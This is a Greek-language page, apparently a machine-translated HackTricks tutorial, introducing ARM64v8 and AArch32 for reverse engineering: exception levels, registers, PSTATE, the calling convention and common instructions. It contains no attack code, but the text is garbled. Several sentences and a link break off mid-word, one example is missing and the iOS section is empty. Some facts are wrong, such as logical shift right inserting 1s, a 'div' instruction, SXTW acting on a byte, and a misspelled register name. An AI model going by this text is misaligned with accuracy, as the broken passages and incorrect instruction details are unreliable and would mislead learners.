Introduction to ARM64v8

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Επίπεδα Εξαιρέσεων - EL (ARM64v8)

Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Επίπεδα Εξαιρέσεων (ELs), καθορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαιρέσεων, από EL0 έως EL3, το καθένα εξυπηρετώντας διαφορετικό σκοπό:

  1. EL0 - Λειτουργία Χρήστη:

  • Αυτό είναι το επίπεδο με τα λιγότερα προνόμια και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογών.

  • Οι εφαρμογές που εκτελούνται στο EL0 είναι απομονωμένες μεταξύ τους και από το λογισμικό συστήματος, βελτιώνοντας την ασφάλεια και τη σταθερότητα.

  1. EL1 - Λειτουργικό Σύστημα Πυρήνα:

  • Οι περισσότεροι πυρήνες λειτουργικών συστημάτων τρέχουν σε αυτό το επίπεδο.

  • Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να έχει πρόσβαση σε πόρους συστήματος, αλλά με κάποιους περιορισμούς για να διασφαλιστεί η ακεραιότητα του συστήματος.

  1. EL2 - Λειτουργία Υπερτροφοδοτητή:

  • Αυτό το επίπεδο χρησιμοποιείται για εικονικοποίηση. Ένας υπερτροφοδοτητής που τρέχει στο EL2 μπορεί να διαχειριστεί πολλά λειτουργικά συστήματα (καθένα στο δικό του EL1) που τρέχουν στον ίδιο φυσικό υλικό.

  • Το EL2 παρέχει χαρακτηριστικά για απομόνωση και έλεγχο των εικονικών περιβαλλόντων.

  1. EL3 - Λειτουργία Ασφαλούς Παρακολούθησης:

  • Αυτό είναι το πιο προνομιούχο επίπεδο και χρησιμοποιείται συχνά για ασφαλή εκκίνηση και περιβάλλοντα εκτέλεσης που μπορεί να εμπιστευτεί.

  • Το EL3 μπορεί να διαχειριστεί και να ελέγξει τις προσβάσεις μεταξύ ασφαλών και μη-ασφαλών καταστάσεων (όπως ασφαλή εκκίνηση, αξιόπιστο λειτουργικό σύστημα κλπ.).

Η χρήση αυτών των επιπέδων επιτρέπει έναν δομημένο και ασφαλή τρόπο διαχείρισης διαφορετικών πτυχών του συστήματος, από εφαρμογές χρηστών έως το πιο προνομιούχο λογισμικό συστήματος. Η προσέγγιση της ARMv8 στα επίπεδα προνομίων βοηθά στην απομόνωση διαφορετικών συστατικών του συστήματος, βελτιώνοντας έτσι την ασφάλεια και την ανθεκτικότητα του συστήματος.

Καταχωρητές (ARM64v8)

Το ARM64 έχει 31 καταχωρητές γενικής χρήσης, με ετικέτες x0 έως x30. Κάθε ένας μπορεί να αποθηκεύσει μια τιμή 64-bit (8-byte). Για λειτουργίες που απαιτούν μόνο τιμές 32-bit, οι ίδιοι καταχωρητές μπορούν να προσπελαστούν σε λειτουργία 32-bit χρησιμοποιώντας τα ονόματα w0 έως w30.

  1. x0 έως x7 - Αυτοί χρησιμοποιούνται συνήθως ως καταχωρητές scratch και για τη μετάδοση παραμέτρων σε υπορουτίνες.

  • Ο x0 μεταφέρει επίσης τα δεδομένα επιστροφής μιας συνάρτησης.

  1. x8 - Στον πυρήνα Linux, το x8 χρησιμοποιείται ως ο αριθμός κλήσης συστήματος για την εντολή svc. Στο macOS χρησιμοποιείται το x16!

  2. x9 έως x15 - Περισσότεροι προσωρινοί καταχωρητές, συχνά χρησιμοποιούμενοι για τοπικές μεταβλητές.

  3. x16 και x17 - Καταχωρητές Κλήσης Εντός-Διαδικασίας. Προσωρινοί καταχωρητές για άμεσες τιμές. Χρησιμοποιούνται επίσης για άμεσες κλήσεις συναρτήσεων και στοιχεία PLT (Procedure Linkage Table).

  • Το x16 χρησιμοποιείται ως ο αριθμός κλήσης συστήματος για την εντολή svc στο macOS.

  1. x18 - Καταχωρητής πλατφόρμας. Μπορεί να χρησιμοποιηθεί ως καταχωρητής γενικής χρήσης, αλλά σε ορισμένες πλατφόρμες, αυτός ο καταχωρητής είναι κρατημένος για πλατφορμοεξαρτημένες χρήσεις: Δείκτης προς το τρέχον τμήμα περιβάλλοντος νήματος στα Windows, ή για να δείχνει στη δομή της τρέχουσας εργασίας στον πυρήνα του Linux.

  2. x19 έως x28 - Αυτοί είναι καταχωρητές που αποθηκεύονται από τον καλούντα σε μια συνάρτηση, έτσι πρέπει να διατηρούνται οι τιμές τους για τον καλούντα, επομένως αποθηκεύονται στη στοίβα και ανακτώνται πριν επιστρέψουν στον καλούντα.

  3. x29 - Δείκτης Πλαισίου για να παρακολουθεί το πλαίσιο στοίβας. Όταν δημιουργείται ένα νέο πλαίσιο στοίβας επειδή καλείται μια συνάρτηση, ο καταχωρητής x29 αποθηκεύεται στη στοίβα και η νέα διεύθυνση πλαισίου (διεύθυνση sp) αποθηκεύεται σε αυτό τον καταχωρητή.

  • Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως καταχωρητής γενικής χρήσης αν και συνήθως χρησιμοποιείται ως αναφορά σε τοπικές μεταβλητές.

  1. x30 ή lr- Καταχωρητής Συνδέσμου. Κ

Καταχωρητές Συστήματος

Υπάρχουν εκατοντάδες καταχωρητές συστήματος, επίσης ονομάζονται καταχωρητές ειδικού σκοπού (SPRs), που χρησιμοποιούνται για την παρακολούθηση και έλεγχο της συμπεριφοράς των επεξεργαστών. Μπορούν να διαβαστούν ή να οριστούν μόνο χρησιμοποιώντας τις αφιερωμένες ειδικές εντολές mrs και msr.

Οι ειδικοί καταχωρητές TPIDR_EL0 και TPIDDR_EL0 συναντώνται συχνά κατά την αντιστροφή μηχανικής. Το επίθετο EL0 υποδηλώνει την ελάχιστη εξαίρεση από την οποία ο καταχωρητής μπορεί να προσπελαστεί (σε αυτήν την περίπτωση το EL0 είναι το κανονικό επίπεδο εξαίρεσης (προνόμιο) που τρέχουν τα κανονικά προγράμματα). Συχνά χρησιμοποιούνται για να αποθηκεύουν την βασική διεύθυνση της περιοχής αποθήκευσης τοπικών νημάτων μνήμης. Συνήθως ο πρώτος είναι αναγνώσιμος και εγγράψιμος για προγράμματα που τρέχουν στο EL0, αλλά ο δεύτερος μπορεί να διαβαστεί από το EL0 και να γραφτεί από το EL1 (όπως το πυρήνας).

  • mrs x0, TPIDR_EL0 ; Διάβασε το TPIDR_EL0 στο x0

  • msr TPIDR_EL0, X0 ; Γράψε το x0 στο TPIDR_EL0

PSTATE

Το PSTATE περιέχει αρκετά στοιχεία διεργασίας που έχουν σειριοποιηθεί στον ορατό από το λειτουργικό σύστημα ειδικό καταχωρητή SPSR_ELx, όπου το X είναι το επίπεδο άδειας της πυροδότησης εξαίρεσης (αυτό επιτρέπει την ανάκτηση της κατάστασης της διεργασίας όταν η εξαίρεση τελειώνει). Αυτά είναι τα προσβάσιμα πεδία:

  • Τα σημαία συνθήκης N, Z, C και V:

  • Το N σημαίνει ότι η λειτουργία παρήγαγε αρνητικό αποτέλεσμα

  • Το Z σημαίνει ότι η λειτουργία παρήγαγε μηδέν

  • Το C σημαίνει ότι η λειτουργία μεταφέρθηκε

  • Το V σημαίνει ότι η λειτουργία παρήγαγε υπερχείλιση με πρόσημο:

  • Το άθροισμα δύο θετικών αριθμών παράγει αρνητικό αποτέλεσμα.

  • Το άθροισμα δύο αρνητικών αριθμών παράγει θετικό αποτέλεσμα.

  • Στην αφαίρεση, όταν από ένα μικρότερο θετικό αριθμό αφαιρεθεί ένας μεγαλύτερος αρνητικός αριθμός (ή αντίστροφα), και το αποτέλεσμα δεν μπορεί να αναπαρασταθεί εντός του εύρους του δοθέντος μεγέθους bit.

  • Φυσικά ο επεξεργαστής δεν γνωρίζει αν η λειτουργία είναι με πρόσημο ή όχι, οπότε θα ελέγξει τα C και V στις λειτουργίες και θα υποδείξει αν υπήρξε μεταφορά στην περίπτωση που ήταν με πρόσημο ή χωρίς.

Όχι όλες οι εντολές ενημερώνουν αυτές τις σημαίες. Κάποιες όπως CMP ή TST το κάνουν, και άλλες που έχουν κατάληξη s όπως ADDS επίσης το κάνουν.

  • Η τρέχουσα σημαία πλάτους καταχωρητή (nRW): Αν η σημαία κρατά την τιμή 0, το πρόγραμμα θα τρέξει στην κατάσταση εκτέλεσης AArch64 μόλις επαναφερθεί.

  • Το τρέχον Επίπεδο Εξαίρεσης (EL): Ένα κανονικό πρόγραμμα που τρέχει στο EL0 θα έχει την τιμή 0

  • Η σημαία μονής βήματος (SS): Χρησιμοποιείται από debuggers για τη μονοβήματη εκτέλεση καθορίζοντας τη σημαία SS σε 1 μέσα στο SPSR_ELx μέσω μιας εξαίρεσης. Το πρόγραμμα θα εκτελέσει ένα βήμα και θα εκδώσει μια εξαίρεση μονοβήματος.

  • Η σημαία κατάστασης παράνομης εξαίρεσης (IL): Χρησιμοποιείται για να επισημάνει όταν ένα προνομιούχο λογισμικό εκτελεί μια μη έγκυρη μεταφορά επιπέδου εξαίρεσης, αυτή η σημαία ορίζεται σε 1 και ο επεξεργαστής εκδηλώνει μια παράνομη κατάσταση εξαίρεσης.

  • Οι σημαίες DAIF: Αυτές οι σημαίες επιτρέπουν σε ένα προνομιούχο πρόγραμμα να μάσκαρει εκλεκτικά ορισμένες εξωτερικές εξαιρέσεις.

  • Αν το A είναι 1 σημαίνει ότι θα πυροδοτηθούν ασύγχρονες αποτυχίες. Το I ρυθμίζει την ανταπόκριση σε εξωτερικά υλικά Αιτήματα Διακοπών (IRQs) και το F σχετίζεται με τα Αιτήματα Γρήγορων Διακοπών (FIRs).

  • Οι σημαίες επιλογής δείκτη στοίβας (SPS): Τα προνομιούχα προγράμματα που τρέχουν στο EL1 και πάνω μπορούν να αλλάζουν μεταξύ της χρήσης του δικού τους καταχωρητή δείκτη στοίβας και του καταχωρητή δείκτη χρήστη (π.χ. μεταξύ SP_EL1 και EL0). Αυτή η αλλαγή γίνεται με την εγγραφή στον ειδικό καταχωρητή SPSel. Αυτό δεν μπορεί να γίνει από το EL0.

Σύμβαση Κλήσης (ARM64v8)

Η σύμβαση κλήσης ARM64 καθορίζει ότι οι πρώτες οκτώ παράμετροι μιας συνάρτησης περνιούνται στους καταχωρητές x0 έως x7. Επιπλέον παράμετροι περνιούνται στη στοίβα. Η τιμή επιστροφής περνιέται πίσω στον καταχωρητή x0, ή στον x1 επίσης αν είναι 128 bits μακριά. Οι καταχωρητές x19 έως x30 και sp πρέπει να διατηρηθούν μεταξύ κλήσεων συναρτήσεων.

Όταν διαβάζετε μια συνάρτηση σε συναρμολόγηση, ψάξτε για το προλόγο και επίλογο της συνάρτησης. Ο πρόλογος συνήθως περιλαμβάνει το αποθήκευση του δείκτη πλαισίου (x29), την ρύθμιση ενός νέου δείκτη πλαισίου και την κατανομή χώρου στοίβας. Ο επίλογος συνήθως περιλαμβάνει την επαναφορά του αποθηκευμένου δείκτη πλαισίου και την επιστροφή από τη συνάρτηση.

Σύμβαση Κλήσης στη Swift

Η Swift έχει τη δική της σύμβαση κλήσης που μπορεί να βρεθεί στο [https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64](https://github.com/apple/swift/blob/main

  • Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]

  • Xn1 -> Προορισμός

  • Xn2 -> Τελεστής 1

  • Xn3 | #imm -> Τελεστής 2 (καταχώρηση ή άμεσο)

  • [shift #N | RRX] -> Εκτέλεση μετατόπισης ή κλήση RRX

  • Παράδειγμα: add x0, x1, x2 — Αυτό προσθέτει τις τιμές στα x1 και x2 μαζί και αποθηκεύει το αποτέλεσμα στο x0.

  • add x5, x5, #1, lsl #12 — Αυτό ισούται με 4096 (ένα 1 μετατοπισμένο 12 φορές) -> 1 0000 0000 0000 0000

  • adds Αυτό εκτελεί ένα add και ενημερώνει τα σημαία

  • sub: Αφαίρεση των τιμών δύο καταχωρητών και αποθήκευση του αποτελέσματος σε έναν καταχωρητή.

  • Ελέγξτε τη σύνταξη του add.

  • Παράδειγμα: sub x0, x1, x2 — Αυτό αφαιρεί την τιμή από το x2 από το x1 και αποθηκεύει το αποτέλεσμα στο x0.

  • subs Αυτό είναι σαν το sub αλλά ενημερώνει τη σημαία

  • mul: Πολλαπλασιασμός των τιμών δύο καταχωρητών και αποθήκευση του αποτελέσματος σε έναν καταχωρητή.

  • Παράδειγμα: mul x0, x1, x2 — Αυτό πολλαπλασιάζει τις τιμές στα x1 και x2 και αποθηκεύει το αποτέλεσμα στο x0.

  • div: Διαίρεση της τιμής ενός καταχωρητή με έναν άλλον και αποθήκευση του αποτελέσματος σε έναν καταχωρητή.

  • Παράδειγμα: div x0, x1, x2 — Αυτό διαιρεί την τιμή στο x1 με το x2 και αποθηκεύει το αποτέλεσμα στο x0.

  • lsl, lsr, asr, ror, rrx:

  • Λογική μετατόπιση αριστερά: Προσθήκη 0 από το τέλος μετακινώντας τα υπόλοιπα μπροστά (πολλαπλασιασμός κατά n φορές 2)

  • Λογική μετατόπιση δεξιά: Προσθήκη 1 στην αρχή μετακινώντας τα υπόλοιπα πίσω (διαίρεση κατά n φορές 2 σε ανυπογραφήτους)

  • Αριθμητική μετατόπιση δεξιά: Όπως lsr, αλλά αντί να προσθέτει 0 αν το πιο σημαντικό ψηφίο είναι 1, προστίθενται 1 (**διαίρεση κατά n φορές 2 σε υπογραφήτους)

  • Περιστροφή δεξιά: Όπως lsr αλλά ό,τι αφαιρείται από τα δεξιά προστίθεται στα αριστερά

  • Περιστροφή Δεξιά με Επέκταση: Όπως ror, αλλά με τη σημαία μεταφοράς ως "πιο σημαντικό ψηφίο". Έτσι, η σημαία μεταφοράς μετακινείται στο bit 31 και το αφαιρούμενο bit στη σημαία μεταφοράς.

  • bfm: Μετακίνηση Πεδίου Μπιτ, αυτές οι λειτουργίες αντιγράφουν τα bits 0...n από μια τιμή και τα τοποθετούν σε θέσεις m..m+n. Το #s καθορίζει τη θέση του αριστερότερου bit και το #r την ποσότητα δεξιάς περιστροφής.

  • Μετακίνηση πεδίου μπιτ: BFM Xd, Xn, #r

  • Μετακίνηση πεδίου μπιτ με πρόσημο: SBFM Xd, Xn, #r, #s

  • Μετακίνηση πεδίου μπιτ χωρίς πρόσημο: UBFM Xd, Xn, #r, #s

  • Εξαγωγή και Εισαγωγή Πεδίου Μπιτ: Αντιγράφει ένα πεδίο μπιτ από έναν καταχωρητή και το αντιγράφει σε έναν άλλον καταχωρητή.

  • BFI X1, X2, #3, #4 Εισαγωγή 4 bits από το X2 από το 3ο bit του X1

  • BFXIL X1, X2, #3, #4 Εξαγωγή από το 3ο bit του X2 τέσσερα bits και αντιγραφή τους στο X1

  • SBFIZ X1, X2, #3, #4 Επέκταση με πρόσημο 4 bits από το X2 και εισαγωγή τους στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits

  • SBFX X1, X2, #3, #4 Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2, επεκτείνει το πρόσημο τους και τοποθετεί το αποτέλεσμα στο X1

  • UBFIZ X1, X2, #3, #4 Επέκταση μηδενικών 4 bits από το X2 και εισαγωγή τους στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits

  • UBFX X1, X2, #3, #4 Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2 και τοποθετεί το αποτέλεσμα με επέκταση μηδενικών στο X1.

  • Επέκταση Προσήμου Σε X: Επεκτείνει το πρόσημο (ή προσθέτει απλά 0 στη μη υπογεγραμμένη έκδοση) μιας τιμής για να είναι δυνατές οι λειτουργίες με αυτή:

  • SXTB X1, W2 Επεκτείνει το πρόσημο ενός byte από W2 σε X1 (W2 είναι το μισό του X2) για να γεμίσει τα 64bits

  • SXTH X1, W2 Επεκτείνει το πρόσημο ενός 16bit αριθμού από W2 σε X1 για να γεμίσει τα 64bits

  • SXTW X1, W2 Επεκτείνει το πρόσημο ενός byte από W2 σε X1 για να γεμίσει τα 64bits

  • UXTB X1, W2 Προσθέτει 0 (μη υπογεγραμμένο) σε ένα byte από W2 σε X1 για να γεμίσει τα 64bits

  • extr: Εξάγει bits από ένα συγκεκριμένο ζεύγος καταχωρητών που ενωθήκαν.

  • Παράδειγμα: EXTR W3, W2, W1, #3 Αυτό θα ενώσει το W1+W2 και θα πάρει από το bit 3 του W2 μέχρι το bit 3 του W1 και θα το αποθηκεύσει στο W3.

  • cmp: Σύγκριση δύο καταχωρητών και ρύθμιση σημαίων κατάστασης. Είναι ένας ψευδώνυμος του subs με τον προορισμό να είναι ο καταχωρητής μηδέν. Χρήσιμο για να γνωρίζετε αν m == n.

  • Υποστηρίζει την ίδια σύνταξη με το subs

  • Παράδειγμα: cmp x0, x1 — Αυτό συγκρίνει τις τιμές στα x0 και x1 και ρυθμίζει τα σημαία κατάστασης αναλόγως.

  • cmn: Σύγκριση αρνητικού τελεστή. Σε αυτήν την περίπτωση είναι ένας ψευδώνυμο του adds και υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να γνωρίζετε αν m == -n.

  • ccmp: Συνθήκες σύγκρισης, είναι μια σύγκριση που θα πραγματοποιηθεί μόνο αν μια προηγούμενη σύγκριση ήταν αληθής και θα ρυθμίσει ειδικά τα bits nzcv.

  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> αν x1 != x2 και x3 < x4, μετάβαση στο func

  • Αυτό οφείλεται στο γεγονός ότι το ccmp θα εκτελεστεί μόνο αν η προηγούμενη cmp ήταν NE, αν δεν ήταν, τα bits nzcv θα οριστούν σε 0 (που δεν θα ικανοποιήσει τη σύγκριση blt).

  • Αυτό μπορεί επίσης να χρησιμοποιηθεί ως `ccmn

  • b.ne: Branch if Not Equal. Αυτή η εντολή ελέγχει τα σημαία συνθηκών (τα οποία έχουν οριστεί από μια προηγούμενη εντολή σύγκρισης) και αν οι τιμές που συγκρίθηκαν δεν ήταν ίσες, τότε κάνει άλμα σε ένα ετικέτα ή διεύθυνση.

  • Παράδειγμα: Μετά από μια εντολή cmp x0, x1, b.ne label — Αν οι τιμές στα x0 και x1 δεν ήταν ίσες, τότε αυτό πηδάει στην label.

  • cbz: Σύγκριση και Άλμα σε Μηδέν. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν και αν είναι ίσοι, τότε κάνει άλμα σε μια ετικέτα ή διεύθυνση.

  • Παράδειγμα: cbz x0, label — Αν η τιμή στο x0 είναι μηδέν, τότε αυτό πηδάει στην label.

  • cbnz: Σύγκριση και Άλμα σε Μη Μηδέν. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν και αν δεν είναι ίσοι, τότε κάνει άλμα σε μια ετικέτα ή διεύθυνση.

  • Παράδειγμα: cbnz x0, label — Αν η τιμή στο x0 δεν είναι μηδέν, τότε αυτό πηδάει στην label.

  • tbnz: Δοκιμάζει το bit και πηδάει σε μη μηδέν

  • Παράδειγμα: tbnz x0, #8, label

  • tbz: Δοκιμάζει το bit και πηδάει σε μηδέν

  • Παράδειγμα: tbz x0, #8, label

  • Λειτουργίες επιλογής με συνθήκες: Αυτές είναι λειτουργίες οι οποίες η συμπεριφορά τους ποικίλλει ανάλογα με τα συνθηκικά bits.

  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Αν είναι αληθές, X0 = X1, αν είναι ψευδές, X0 = X2

  • csinc Xd, Xn, Xm, cond -> Αν είναι αληθές, Xd = Xn, αν είναι ψευδές, Xd = Xm + 1

  • cinc Xd, Xn, cond -> Αν είναι αληθές, Xd = Xn + 1, αν είναι ψευδές, Xd = Xn

  • csinv Xd, Xn, Xm, cond -> Αν είναι αληθές, Xd = Xn, αν είναι ψευδές, Xd = NOT(Xm)

  • cinv Xd, Xn, cond -> Αν είναι αληθές, Xd = NOT(Xn), αν είναι ψευδές, Xd = Xn

  • csneg Xd, Xn, Xm, cond -> Αν είναι αληθές, Xd = Xn, αν είναι ψευδές, Xd = - Xm

  • cneg Xd, Xn, cond -> Αν είναι αληθές, Xd = - Xn, αν είναι ψευδές, Xd = Xn

  • cset Xd, Xn, Xm, cond -> Αν είναι αληθές, Xd = 1, αν είναι ψευδές, Xd = 0

  • csetm Xd, Xn, Xm, cond -> Αν είναι αληθές, Xd = <όλα 1>, αν είναι ψευδές, Xd = 0

  • adrp: Υπολογίζει τη διεύθυνση σελίδας ενός συμβόλου και την αποθηκεύει σε έναν καταχωρητή.

  • Παράδειγμα: adrp x0, symbol — Αυτό υπολογίζει τη διεύθυνση σελίδας του symbol και την αποθηκεύει στο x0.

  • ldrsw: Φορτώνει μια υπογραμμισμένη 32-μπιτη τιμή από τη μνήμη και επεκτείνει το πρόσημό της σε 64 bits.

  • Παράδειγμα: ldrsw x0, [x1] — Αυτό φορτώνει μια υπογραμμισμένη τιμή 32 bits από τη θέση μνήμης στην οποία δείχνει το x1, επεκτείνει το πρόσημό της σε 64 bits και την αποθηκεύει στο x0.

  • stur: Αποθηκεύει μια τιμή καταχωρητή σε μια θέση μνήμης, χρησιμοποιώντας ένα μετατόπιση από έναν άλλο καταχωρητή.

  • Παράδειγμα: stur x0, [x1, #4] — Αυτό αποθηκεύει την τιμή στο x0 στη θέση μνήμης που είναι 4 bytes μεγαλύτερη από τη διεύθυνση που υπάρχει αυτή τη στιγμή στο x1.

  • svc : Κάνει μια κλήση συστήματος. Σημαίνει "Supervisor Call". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, μεταβαίνει από τη λειτουργία χρήστη στη λειτουργία πυρήνα και πηγαίνει σε μια συγκεκριμένη τοποθεσία στη μνήμη όπου βρίσκεται ο κώδικας χειρισμού κλήσης συστήματος του πυρήνα.

  • Παράδειγμα:

mov x8, 93  ; Φορτώνει τον αριθμό κλήσης συστήματος για έξοδο (93) στον καταχωρητή x8.
mov x0, 0   ; Φορτώνει τον κωδικό κατάστασης έξοδου (0) στον καταχωρητή x0.
svc 0       ; Κάνει την κλήση συστήματος.

Εισαγωγή Συνάρτησης

  1. Αποθήκευση του καταχωρητή συνδέσμου και του δείκτη πλαισίου στη στοίβα:

stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
  1. Ρύθμιση του νέου δείκτη πλαισίου: mov x29, sp (ρυθμίζει τον νέο δείκτη πλαισίου για την τρέχουσα συνάρτηση)

  2. Διατείνετε χώρο στη στοίβα για τοπικές μεταβλητές (εάν απαιτείται): sub sp, sp, <size> (όπου <size> είναι το πλήθος των bytes που απαιτούνται)

Επίλογος Συνάρτησης

  1. Αποδέσμευση τοπικών μεταβλητών (εάν είχαν διατεθεί): add sp, sp, <size>

  2. Επαναφορά του μητρώου συνδέσεων και του δείκτη πλαισίου:

ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
  1. Επιστροφή: ret (επιστρέφει τον έλεγχο στον καλούντα χρησιμοποιώντας τη διεύθυνση στον register συνδέσμου)

Κατάσταση Εκτέλεσης AARCH32

Το Armv8-A υποστηρίζει την εκτέλεση προγραμμάτων 32-bit. AArch32 μπορεί να τρέξει σε ένα από τα δύο σύνολα εντολών: A32 και T32 και μπορεί να μεταβεί μεταξύ τους μέσω interworking. Προνομιούχα προγράμματα 64-bit μπορούν να προγραμματίσουν την εκτέλεση 32-bit προγραμμάτων εκτελώντας μεταφορά επιπέδου εξαίρεσης στο χαμηλότερου επιπέδου προνομιούχο 32-bit. Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει με μείωση του επιπέδου εξαίρεσης (για παράδειγμα ένα 64-bit πρόγραμμα σε EL1 προκαλεί ένα πρόγραμμα σε EL0). Αυτό γίνεται με τον ορισμό του bit 4 του ειδικού καταχωρητή SPSR_ELx σε 1 όταν η διαδικασία νήματος AArch32 είναι έτοιμη για εκτέλεση και το υπόλοιπο του SPSR_ELx αποθηκεύει τα προγράμματα CPSR του AArch32. Στη συνέχεια, το προνομιούχο πρόγραμμα καλεί την εντολή ERET ώστε ο επεξεργαστής να μεταβεί σε AArch32 εισέρχοντας σε A32 ή T32 ανάλογα με το CPSR**.**

Το interworking συμβαίνει χρησιμοποιώντας τα bits J και T του CPSR. J=0 και T=0 σημαίνει A32 και J=0 και T=1 σημαίνει T32. Αυτό βασικά μεταφράζεται στον ορισμό του χαμηλότερου bit σε 1 για να υποδείξει ότι το σύνολο εντολών είναι T32. Αυτό ορίζεται κατά τη διάρκεια των εντολών αλλαγής κλάδου interworking, αλλά μπορεί επίσης να οριστεί απευθείας με άλλες εντολές όταν το PC ορίζεται ως καταχωρητής προορισμού. Παράδειγμα:

Άλλο ένα παράδειγμα:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Καταχωρητές

Υπάρχουν 16 καταχωρητές 32-bit (r0-r15). Από τον r0 έως τον r14 μπορούν να χρησιμοποιηθούν για οποιαδήποτε λειτουργία, ωστόσο μερικοί από αυτούς είναι συνήθως διατηρημένοι:

  • r15: Δείκτης προγράμματος (πάντα). Περιέχει τη διεύθυνση της επόμενης εντολής. Στο A32 τρέχον + 8, στο T32, τρέχον + 4.

  • r11: Δείκτης Πλαισίου

  • r12: Καταχωρητής κλήσης εντός διαδικασίας

  • r13: Δείκτης Στοίβας

  • r14: Καταχωρητής Συνδέσμου

Επιπλέον, οι καταχωρητές αντιγράφονται σε τράπεζες καταχωρητών. Αυτά είναι μέρη που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας την εκτέλεση γρήγορης αλλαγής πλαισίου στην επεξεργασία εξαιρέσεων και προνομιούχων λειτουργιών για να αποφευχθεί η ανάγκη χειροκίνητης αποθήκευσης και επαναφοράς των καταχωρητών κάθε φορά. Αυτό γίνεται με το αποθήκευση της κατάστασης του επεξεργαστή από το CPSR στο SPSR της λειτουργικής κατάστασης του επεξεργαστή στην οποία γίνεται η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το CPSR επαναφέρεται από το SPSR.

CPSR - Τρέχουσα Κατάσταση Προγράμματος

Στο AArch32 το CPSR λειτουργεί παρόμοια με το PSTATE στο AArch64 και αποθηκεύεται επίσης στο SPSR_ELx όταν λαμβάνεται μια εξαίρεση για να αποκατασταθεί αργότερα η εκτέλεση:

Τα πεδία διαιρούνται σε ορισμένες ομάδες:

  • Κατάσταση Καταχώρησης Προγράμματος (APSR): Αριθμητικές σημαίες και προσβάσιμες από EL0

  • Καταχωρητές Κατάστασης Εκτέλεσης: Συμπεριφορά διεργασίας (διαχειρίζεται από το λειτουργικό σύστημα).

Κατάσταση Καταχώρησης Προγράμματος (APSR)

  • Οι σημαίες N, Z, C, V (όπως και στο AArch64)

  • Η σημαία Q: Τίθεται σε 1 όταν συμβαίνει κορεσμός ακεραιών κατά την εκτέλεση μιας εξειδικευμένης αριθμητικής εντολής κορεσμού. Μόλις τεθεί σε 1, θα διατηρήσει την τιμή μέχρι να τεθεί χειροκίνητα σε 0. Επιπλέον, δεν υπάρχει καμία εντολή που ελέγχει την τιμή της ρητά, πρέπει να γίνει ανάγνωση χειροκίνητα.

  • GE (Μεγαλύτερο από ή ίσο με) Σημαίες: Χρησιμοποιούνται σε λειτουργίες SIMD (Μοναδική Εντολή, Πολλαπλά Δεδομένα), όπως "παράλληλη πρόσθεση" και "παράλληλη αφαίρεση". Αυτές οι λειτουργίες επιτρέπουν την επεξεργασία πολλαπλών σημείων δεδομένων σε μια μόνο εντολή.

Για παράδειγμα, η εντολή UADD8 προσθέτει τέσσερα ζεύγη bytes (από δύο 32-bit τελεστές) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν καταχωρητή 32-bit. Στη συνέχεια τίθεται οι GE σημαίες στο APSR βάσει αυτών των αποτελεσμάτων. Κάθε σημαία GE αντιστοιχεί σε ένα από τα ζεύγη byte πρόσθεσης, υποδεικνύοντας αν η πρόσθεση για αυτό το ζεύγος byte υπερχείλισε.

Η εντολή SEL χρησιμοποιεί αυτές τις GE σημαίες για να εκτελέσει συνθήκες.

Καταχωρητές Κατάστασης Εκτέλεσης

  • Τα bits J και T: Το J πρέπει να είναι 0 και αν το T είναι 0 χρησιμοποιείται το σύνολο εντολών A32, ενώ αν είναι 1 χρησιμοποιείται το T32.

  • Κατάσταση Ενότητας Μπλοκ IT (ITSTATE): Αυτά είναι τα bits από 10-15 και 25-26. Αποθηκεύουν συνθήκες για εντολές μέσα σε μια ομάδα που προηγείται από το IT.

  • E bit: Υποδεικνύει την τελειότητα.

  • Λειτουργία και Μάσκα Εξαιρέσεων Καταχωρητών (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το 5ο υποδεικνύει αν το πρόγραμμα τρέχει ως 32bit (ένα 1) ή 64bit (ένα 0). Τα άλλα 4 αντιπροσωπεύουν τη λειτουργία εξαίρεσης που χρησιμοποιείται επί του παρόντος (όταν συμβαίνει μια εξαίρεση και χειρίζεται). Ο αριθμός ορίζει την τρέχουσα προτεραιότητα σε περίπτωση που προκληθεί μια άλλη εξαίρεση ενώ αυτή χειρίζεται.

  • AIF: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bits A, I, F. Αν το A είναι 1 σημαίνει ότι θα προκληθούν ασύγχρονες αποτυχίες. Το I ρυθμίζει την ανταπόκριση σε εξωτερικά υλικά Αιτήσεις Διακοπών (IRQs). και το F σχετίζεται με τις Γρήγορες Αιτήσεις Διακοπών (FIRs).

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
